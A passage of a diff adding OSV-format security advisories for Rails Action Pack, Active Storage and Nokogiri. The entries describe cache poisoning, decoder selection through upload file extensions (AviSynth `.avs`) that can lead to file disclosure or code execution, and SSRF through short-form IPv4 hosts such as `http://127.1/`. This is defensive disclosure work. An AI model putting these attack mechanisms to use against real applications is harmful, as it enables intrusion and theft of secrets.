(ANT-2026-UQM5Z4YL).","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p2pm-g2h6-7j5j/GHSA-p2pm-g2h6-7j5j.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-p2pm-g2h6-7j5j/GHSA-p2pm-g2h6-7j5j.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-p2pm-g2h6-7j5j"},{"type":"WEB","url":"https://github.com/rails/rails/commit/60f22af88b71eae251f112d8c0237a08a8832692"},{"type":"WEB","url":"https://github.com/rails/rails/commit/9b0d4bef2211a2c08cab2e0ea17fa1d0efd5d47a"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-p2pm-g2h6-7j5j.yml"}],"database_specific":{"cwe_ids":["CWE-248"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:33:12Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-r9jg-fmfx-2gv6.json b/data/RubyGems/GHSA-r9jg-fmfx-2gv6.json
new file mode 100644
index 0000000000..634ade38a8
--- /dev/null
+++ b/data/RubyGems/GHSA-r9jg-fmfx-2gv6.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-r9jg-fmfx-2gv6","published":"2026-11-10T21:26:12Z","modified":"2026-11-10T21:45:03.954760453Z","aliases":["CVE-2026-126073"],"summary":"Action Pack: Possible cache poisoning in Action Pack content negotiation","details":"### Impact\nAction Pack negotiates the format of a rendered response from the `Accept`, `X-Requested-With` and, for XHR requests without `Accept`, `Content-Type` request headers, but `ActionController::Rendering#_set_vary_header` adds `Vary: Accept` only when the request carries a usable `Accept` header and the response has no `Vary` header yet. A response to a request without `Accept`, or to an XHR request, therefore omits the headers that selected its representation, and a response whose `Vary` the application set before rendering (for example `Vary: Accept-Language`) never gains `Accept`. A shared cache that honours `Vary` could store such a response and serve it to later clients that request a different representation, possibly leading to cache poisoning in which visitors receive, until the entry expires, a page without its layout or HTML in place of JSON. The attacker cannot choose the content of the response.\n\nApplications that render negotiated responses from actions marked `public` (for example with `expires_in ..., public: true`) behind a shared cache that honours `Vary`, such as Thruster or `Rack::Cache`, are affected.\n\n### Details\nIn the fixed releases, a rendered response whose format is not given by the URL lists `Accept` and `X-Requested-With` in `Vary`, and also `Content-Type` for an XHR request without `Accept`; when `config.action_dispatch.ignore_accept_header` is enabled, it lists only `X-Requested-With`. These fields are appended to an existing `Vary` value rather than skipped, and `Vary: *` is left unchanged. Shared caches can store more variants of such responses than before. See the Action Pack CHANGELOG for details.\n\n### Workarounds\nSet `Vary: Accept, X-Requested-With` on negotiated responses in the application, for example in an `after_action`, or do not mark negotiated responses `public`.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/7a955ca36779938267c93902c47d1f55bab99b4b.patch\n- 8.0: https://github.com/rails/rails/commit/b58c107abe9c1f10c1d6a4941402c60e4dc4742c.patch\n\n### Credit\nThis issue was found by the Anthropic OSS Scanner (ANT-2026-7GHGLQGO, ANT-2026-5MT6C2R3).","affected":[{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r9jg-fmfx-2gv6/GHSA-r9jg-fmfx-2gv6.json"}},{"package":{"name":"actionpack","ecosystem":"RubyGems","purl":"pkg:gem/actionpack"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.9.0","0.9.5","1.0.0","1.0.1","1.1.0","1.10.1","1.10.2","1.11.0","1.11.1","1.11.2","1.12.0","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.2.0","1.3.0","1.3.1","1.4.0","1.5.0","1.5.1","1.6.0","1.7.0","1.8.0","1.8.1","1.9.0","1.9.1","2.0.0","2.0.1","2.0.2","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.2.2","2.2.3","2.3.10","2.3.11","2.3.12","2.3.14","2.3.15","2.3.16","2.3.17","2.3.18","2.3.2","2.3.3","2.3.4","2.3.5","2.3.6","2.3.7","2.3.8","2.3.8.pre1","2.3.9","2.3.9.pre","3.0.0","3.0.0.beta","3.0.0.beta2","3.0.0.beta3","3.0.0.beta4","3.0.0.rc","3.0.0.rc2","3.0.1","3.0.10","3.0.10.rc1","3.0.11","3.0.12","3.0.12.rc1","3.0.13","3.0.13.rc1","3.0.14","3.0.15","3.0.16","3.0.17","3.0.18","3.0.19","3.0.2","3.0.20","3.0.3","3.0.4","3.0.4.rc1","3.0.5","3.0.5.rc1","3.0.6","3.0.6.rc1","3.0.6.rc2","3.0.7","3.0.7.rc1","3.0.7.rc2","3.0.8","3.0.8.rc1","3.0.8.rc2","3.0.8.rc4","3.0.9","3.0.9.rc1","3.0.9.rc3","3.0.9.rc4","3.0.9.rc5","3.1.0","3.1.0.beta1","3.1.0.rc1","3.1.0.rc2","3.1.0.rc3","3.1.0.rc4","3.1.0.rc5","3.1.0.rc6","3.1.0.rc8","3.1.1","3.1.1.rc1","3.1.1.rc2","3.1.1.rc3","3.1.10","3.1.11","3.1.12","3.1.2","3.1.2.rc1","3.1.2.rc2","3.1.3","3.1.4","3.1.4.rc1","3.1.5","3.1.5.rc1","3.1.6","3.1.7","3.1.8","3.1.9","3.2.0","3.2.0.rc1","3.2.0.rc2","3.2.1","3.2.10","3.2.11","3.2.12","3.2.13","3.2.13.rc1","3.2.13.rc2","3.2.14","3.2.14.rc1","3.2.14.rc2","3.2.15","3.2.15.rc1","3.2.15.rc2","3.2.15.rc3","3.2.16","3.2.17","3.2.18","3.2.19","3.2.2","3.2.2.rc1","3.2.20","3.2.21","3.2.22","3.2.22.1","3.2.22.2","3.2.22.3","3.2.22.4","3.2.22.5","3.2.3","3.2.3.rc1","3.2.3.rc2","3.2.4","3.2.4.rc1","3.2.5","3.2.6","3.2.7","3.2.7.rc1","3.2.8","3.2.8.rc1","3.2.8.rc2","3.2.9","3.2.9.rc1","3.2.9.rc2","3.2.9.rc3","4.0.0","4.0.0.beta1","4.0.0.rc1","4.0.0.rc2","4.0.1","4.0.1.rc1","4.0.1.rc2","4.0.1.rc3","4.0.1.rc4","4.0.10","4.0.10.rc1","4.0.10.rc2","4.0.11","4.0.11.1","4.0.12","4.0.13","4.0.13.rc1","4.0.2","4.0.3","4.0.4","4.0.4.rc1","4.0.5","4.0.6","4.0.6.rc1","4.0.6.rc2","4.0.6.rc3","4.0.7","4.0.8","4.0.9","4.1.0","4.1.0.beta1","4.1.0.beta2","4.1.0.rc1","4.1.0.rc2","4.1.1","4.1.10","4.1.10.rc1","4.1.10.rc2","4.1.10.rc3","4.1.10.rc4","4.1.11","4.1.12","4.1.12.rc1","4.1.13","4.1.13.rc1","4.1.14","4.1.14.1","4.1.14.2","4.1.14.rc1","4.1.14.rc2","4.1.15","4.1.15.rc1","4.1.16","4.1.16.rc1","4.1.2","4.1.2.rc1","4.1.2.rc2","4.1.2.rc3","4.1.3","4.1.4","4.1.5","4.1.6","4.1.6.rc1","4.1.6.rc2","4.1.7","4.1.7.1","4.1.8","4.1.9","4.1.9.rc1","4.2.0","4.2.0.beta1","4.2.0.beta2","4.2.0.beta3","4.2.0.beta4","4.2.0.rc1","4.2.0.rc2","4.2.0.rc3","4.2.1","4.2.1.rc1","4.2.1.rc2","4.2.1.rc3","4.2.1.rc4","4.2.10","4.2.10.rc1","4.2.11","4.2.11.1","4.2.11.2","4.2.11.3","4.2.2","4.2.3","4.2.3.rc1","4.2.4","4.2.4.rc1","4.2.5","4.2.5.1","4.2.5.2","4.2.5.rc1","4.2.5.rc2","4.2.6","4.2.6.rc1","4.2.7","4.2.7.1","4.2.7.rc1","4.2.8","4.2.8.rc1","4.2.9","4.2.9.rc1","4.2.9.rc2","5.0.0","5.0.0.1","5.0.0.beta1","5.0.0.beta1.1","5.0.0.beta2","5.0.0.beta3","5.0.0.beta4","5.0.0.racecar1","5.0.0.rc1","5.0.0.rc2","5.0.1","5.0.1.rc1","5.0.1.rc2","5.0.2","5.0.2.rc1","5.0.3","5.0.4","5.0.4.rc1","5.0.5","5.0.5.rc1","5.0.5.rc2","5.0.6","5.0.6.rc1","5.0.7","5.0.7.1","5.0.7.2","5.1.0","5.1.0.beta1","5.1.0.rc1","5.1.0.rc2","5.1.1","5.1.2","5.1.2.rc1","5.1.3","5.1.3.rc1","5.1.3.rc2","5.1.3.rc3","5.1.4","5.1.4.rc1","5.1.5","5.1.5.rc1","5.1.6","5.1.6.1","5.1.6.2","5.1.7","5.1.7.rc1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-r9jg-fmfx-2gv6/GHSA-r9jg-fmfx-2gv6.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-r9jg-fmfx-2gv6"},{"type":"WEB","url":"https://github.com/rails/rails/commit/7a955ca36779938267c93902c47d1f55bab99b4b"},{"type":"WEB","url":"https://github.com/rails/rails/commit/b58c107abe9c1f10c1d6a4941402c60e4dc4742c"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/actionpack/GHSA-r9jg-fmfx-2gv6.yml"}],"database_specific":{"cwe_ids":["CWE-436"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:26:12Z","nvd_published_at":null,"severity":"MODERATE"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-v924-7rp8-4mxh.json b/data/RubyGems/GHSA-v924-7rp8-4mxh.json
new file mode 100644
index 0000000000..d64228207b
--- /dev/null
+++ b/data/RubyGems/GHSA-v924-7rp8-4mxh.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-v924-7rp8-4mxh","published":"2026-11-10T21:38:55Z","modified":"2026-11-10T21:45:04.235839483Z","aliases":["CVE-2026-126186"],"summary":"Active Storage: Possible arbitrary file read and remote code execution in video previews, analysis and image processing","details":"### Impact\n`ActiveStorage::Blob#open` writes a blob to a tempfile whose name carries the extension of the uploaded filename, and hands that path to `ffprobe` (`VideoAnalyzer`, `AudioAnalyzer`), `ffmpeg` (`VideoPreviewer`) and ImageMagick (`ImageAnalyzer`, the `:mini_magick` variant processor). These tools select a decoder from the file extension when the content does not identify its own format, so an attacker who chooses the filename and declares the content type of an upload chooses which decoder processes it. An FFmpeg built with AviSynth support treats a file with the `.avs` extension as an AviSynth script and evaluates it, which could disclose files readable by the application process through the preview image, or load a native library the attacker has also uploaded, possibly leading to remote code execution in the FFmpeg process. ImageMagick selects its coders and delegates from the extension in the same way.\n\n### Details\nThe fixed releases keep the uploaded extension on the tempfile only when Marcel maps that extension to the blob's recorded content type, and name the tempfile with no extension otherwise. A form upload whose Rack tempfile fails the same check is copied to a correctly named tempfile before processing. Files whose uploaded extension disagrees with their content type are still processed; the external tool detects their format from the content. The Active Storage CHANGELOG describes the change.\n\n### Affected applications\nAn application is affected if it meets all of these requirements:\n- Accepts uploads from untrusted users.\n- Analyzes video or audio attachments (which Active Storage does on attach by default), generates video previews, or processes images with ImageMagick.\n\nThe AviSynth attack additionally requires an FFmpeg built with `--enable-avisynth` and the AviSynthPlus runtime on the host. Upstream FFmpeg and the common Linux distribution and Homebrew packages do not enable it; the GPL builds distributed for Windows and Linux from ffmpeg.org do. Other decoders that FFmpeg or ImageMagick select from the extension may be reachable without AviSynth.\n\n### Mitigation\n- Upgrade to a fixed version of `activestorage`.\n\n### Expire and change secrets\nUpgrading closes the vulnerability but does not undo a disclosure that already occurred. An application that meets the AviSynth requirement above should treat every secret readable by the application process as potentially exposed and change it, including `secret_key_base`, the master key and everything in `config/credentials.yml.enc` that it decrypts, the Active Storage service credentials, database credentials, and tokens for third-party services. Changing `secret_key_base` expires active sessions and invalidates signed and encrypted cookies, signed global IDs and Active Storage URLs. Do not retain an exposed secret as a fallback.\n\n### Workarounds\nApplications that cannot upgrade can stop Active Storage from running FFmpeg on uploaded files by removing `ActiveStorage::Previewer::VideoPreviewer` from `config.active_storage.previewers`, and `ActiveStorage::Analyzer::VideoAnalyzer` and `ActiveStorage::Analyzer::AudioAnalyzer` from `config.active_storage.analyzers`. Running an FFmpeg built without AviSynth support closes the AviSynth attack but not the extension-selected decoders of ImageMagick.\n\n### Releases\nThe fixed releases are available at the normal locations.\n\nPatches for those who cannot upgrade at once:\n- 8.1: https://github.com/rails/rails/commit/72136ff39153bc8d63ecbc899993848eb3d6573e.patch\n- 8.0: https://github.com/rails/rails/commit/8106938fb0a595f11006dd1497cd409e27d7d636.patch\n\n### Versions affected\n- activestorage < 8.0.5.2\n- activestorage >= 8.1, < 8.1.4.1\n\n### Credit\nThis issue was responsibly reported by HackerOne researcher [pirikara](https://hackerone.com/pirikara).","affected":[{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"8.1.0.beta1"},{"fixed":"8.1.4.1"}]}],"versions":["8.1.0","8.1.0.beta1","8.1.0.rc1","8.1.1","8.1.2","8.1.2.1","8.1.3","8.1.3.1","8.1.4"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v924-7rp8-4mxh/GHSA-v924-7rp8-4mxh.json"}},{"package":{"name":"activestorage","ecosystem":"RubyGems","purl":"pkg:gem/activestorage"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"8.0.5.2"}]}],"versions":["0.1","5.2.0","5.2.0.beta1","5.2.0.beta2","5.2.0.rc1","5.2.0.rc2","5.2.1","5.2.1.1","5.2.1.rc1","5.2.2","5.2.2.1","5.2.2.rc1","5.2.3","5.2.3.rc1","5.2.4","5.2.4.1","5.2.4.2","5.2.4.3","5.2.4.4","5.2.4.5","5.2.4.6","5.2.4.rc1","5.2.5","5.2.6","5.2.6.1","5.2.6.2","5.2.6.3","5.2.7","5.2.7.1","5.2.8","5.2.8.1","6.0.0","6.0.0.beta1","6.0.0.beta2","6.0.0.beta3","6.0.0.rc1","6.0.0.rc2","6.0.1","6.0.1.rc1","6.0.2","6.0.2.1","6.0.2.2","6.0.2.rc1","6.0.2.rc2","6.0.3","6.0.3.1","6.0.3.2","6.0.3.3","6.0.3.4","6.0.3.5","6.0.3.6","6.0.3.7","6.0.3.rc1","6.0.4","6.0.4.1","6.0.4.2","6.0.4.3","6.0.4.4","6.0.4.5","6.0.4.6","6.0.4.7","6.0.4.8","6.0.5","6.0.5.1","6.0.6","6.0.6.1","6.1.0","6.1.0.rc1","6.1.0.rc2","6.1.1","6.1.2","6.1.2.1","6.1.3","6.1.3.1","6.1.3.2","6.1.4","6.1.4.1","6.1.4.2","6.1.4.3","6.1.4.4","6.1.4.5","6.1.4.6","6.1.4.7","6.1.5","6.1.5.1","6.1.6","6.1.6.1","6.1.7","6.1.7.1","6.1.7.10","6.1.7.2","6.1.7.3","6.1.7.4","6.1.7.5","6.1.7.6","6.1.7.7","6.1.7.8","6.1.7.9","7.0.0","7.0.0.alpha1","7.0.0.alpha2","7.0.0.rc1","7.0.0.rc2","7.0.0.rc3","7.0.1","7.0.10","7.0.2","7.0.2.1","7.0.2.2","7.0.2.3","7.0.2.4","7.0.3","7.0.3.1","7.0.4","7.0.4.1","7.0.4.2","7.0.4.3","7.0.5","7.0.5.1","7.0.6","7.0.7","7.0.7.1","7.0.7.2","7.0.8","7.0.8.1","7.0.8.2","7.0.8.3","7.0.8.4","7.0.8.5","7.0.8.6","7.0.8.7","7.1.0","7.1.0.beta1","7.1.0.rc1","7.1.0.rc2","7.1.1","7.1.2","7.1.3","7.1.3.1","7.1.3.2","7.1.3.3","7.1.3.4","7.1.4","7.1.4.1","7.1.4.2","7.1.5","7.1.5.1","7.1.5.2","7.1.6","7.2.0","7.2.0.beta1","7.2.0.beta2","7.2.0.beta3","7.2.0.rc1","7.2.1","7.2.1.1","7.2.1.2","7.2.2","7.2.2.1","7.2.2.2","7.2.3","7.2.3.1","7.2.3.2","7.2.4","8.0.0","8.0.0.1","8.0.0.beta1","8.0.0.rc1","8.0.0.rc2","8.0.1","8.0.2","8.0.2.1","8.0.3","8.0.4","8.0.4.1","8.0.5","8.0.5.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v924-7rp8-4mxh/GHSA-v924-7rp8-4mxh.json"}}],"references":[{"type":"WEB","url":"https://github.com/rails/rails/security/advisories/GHSA-v924-7rp8-4mxh"},{"type":"WEB","url":"https://github.com/rails/rails/commit/72136ff39153bc8d63ecbc899993848eb3d6573e"},{"type":"WEB","url":"https://github.com/rails/rails/commit/8106938fb0a595f11006dd1497cd409e27d7d636"},{"type":"PACKAGE","url":"https://github.com/rails/rails"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.0.5.2"},{"type":"WEB","url":"https://github.com/rails/rails/releases/tag/v8.1.4.1"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/activestorage/GHSA-v924-7rp8-4mxh.yml"}],"database_specific":{"cwe_ids":["CWE-646"],"github_reviewed":true,"github_reviewed_at":"2026-11-10T21:38:55Z","nvd_published_at":null,"severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"}]}
\ No newline at end of file
diff --git a/data/RubyGems/GHSA-v995-44v6-5fqm.json b/data/RubyGems/GHSA-v995-44v6-5fqm.json
new file mode 100644
index 0000000000..eaf86e89d1
--- /dev/null
+++ b/data/RubyGems/GHSA-v995-44v6-5fqm.json
@@ -0,0 +1 @@
+{"schema_version":"1.9.2","id":"GHSA-v995-44v6-5fqm","published":"2026-11-10T20:52:38Z","modified":"2026-11-10T21:00:04.025096383Z","aliases":["CVE-2026-126062"],"summary":"JRuby: NONET is bypassed for external DTDs and entities when the systemId uses a short-form IPv4 host","details":"### Summary\n\nOn JRuby, the `NONET` parse option did not block an external DTD or entity whose system identifier used a short-form IPv4 host, such as `http://127.1/` or `http://169.254.43518/`, or was an absolute path such as `/x.dtd` in a document parsed from a network URL. An application that parses untrusted XML with `DTDLOAD`, `DTDVALID` or `NOENT` could be made to send network requests, potentially enabling SSRF.\n\nNokogiri 1.19.5 applies the `XML::Schema` check from [GHSA-8678-w3jw-xfc2](https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-8678-w3jw-xfc2): with `NONET` set, only local resources are loaded.\n\nOnly JRuby is affected. Default parse options are not affected.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.5 or later, or do not enable `DTDLOAD`, `DTDVALID` or `NOENT` for untrusted input.\n\n### Credit\n\nThis issue was responsibly reported by @arpitjain099.","affected":[{"package":{"name":"nokogiri","ecosystem":"RubyGems","purl":"pkg:gem/nokogiri"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.19.5"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.1.0","1.1.1","1.10.0","1.10.0.rc1","1.10.1","1.10.10","1.10.2","1.10.3","1.10.4","1.10.5","1.10.6","1.10.7","1.10.8","1.10.9","1.11.0","1.11.0.rc1","1.11.0.rc2","1.11.0.rc3","1.11.0.rc4","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.11.7","1.12.0","1.12.0.rc1","1.12.1","1.12.2","1.12.3","1.12.4","1.12.5","1.13.0","1.13.1","1.13.10","1.13.2","1.13.3","1.13.4","1.13.5","1.13.6","1.13.7","1.13.8","1.13.9","1.14.0","1.14.0.rc1","1.14.1","1.14.2","1.14.3","1.14.4","1.14.5","1.15.0","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.15.7","1.16.0","1.16.0.rc1","1.16.1","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.17.0","1.17.1","1.17.2","1.18.0","1.18.0.rc1","1.18.1","1.18.10","1.18.2","1.18.3","1.18.4","1.18.5","1.18.6","1.18.7","1.18.8","1.18.9","1.19.0","1.19.1","1.19.2","1.19.3","1.19.4","1.2.0","1.2.1","1.2.2","1.2.3","1.3.0","1.3.1","1.3.2","1.3.3","1.4.0","1.4.1","1.4.2","1.4.2.1","1.4.3","1.4.3.1","1.4.4","1.4.4.1","1.4.4.2","1.4.5","1.4.6","1.4.7","1.5.0","1.5.0.beta.1","1.5.0.beta.2","1.5.0.beta.3","1.5.0.beta.4","1.5.1","1.5.1.rc1","1.5.10","1.5.11","1.5.2","1.5.3","1.5.3.rc2","1.5.3.rc3","1.5.3.rc4","1.5.3.rc5","1.5.3.rc6","1.5.4","1.5.4.rc1","1.5.4.rc2","1.5.4.rc3","1.5.5","1.5.5.rc1","1.5.5.rc2","1.5.5.rc3","1.5.6","1.5.6.rc1","1.5.6.rc2","1.5.6.rc3","1.5.7","1.5.7.rc1","1.5.7.rc2","1.5.7.rc3","1.5.8","1.5.9","1.6.0","1.6.0.rc1","1.6.1","1.6.2","1.6.2.1","1.6.2.rc1","1.6.2.rc2","1.6.2.rc3","1.6.3","1.6.3.1","1.6.3.rc1","1.6.3.rc2","1.6.3.rc3","1.6.4","1.6.4.1","1.6.5","1.6.6.1","1.6.6.2","1.6.6.3","1.6.6.4","1.6.7","1.6.7.1","1.6.7.2","1.6.7.rc2","1.6.7.rc3","1.6.7.rc4","1.6.8","1.6.8.1","1.6.8.rc1","1.6.8.rc2","1.6.8.rc3","1.7.0","1.7.0.1","1.7.1","1.7.2","1.8.0","1.8.1","1.8.2","1.8.3","1.8.4","1.8.5","1.9.0","1.9.0.rc1","1.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-v995-44v6-5fqm/GHSA-v995-44v6-5fqm.json"}}],"references":[{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-v995-44v6-5fqm"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/pull/3752"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/97f41b65f4ee0cac859b87f0b26d2648c4806cb8"},{"type":"WEB","url":"https://github.com/sparklemotion/nokogiri/commit/e448ca2827a9198644610fb730259e12baacdeac"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/nokogiri/GHSA-v995-44v6-5fqm.y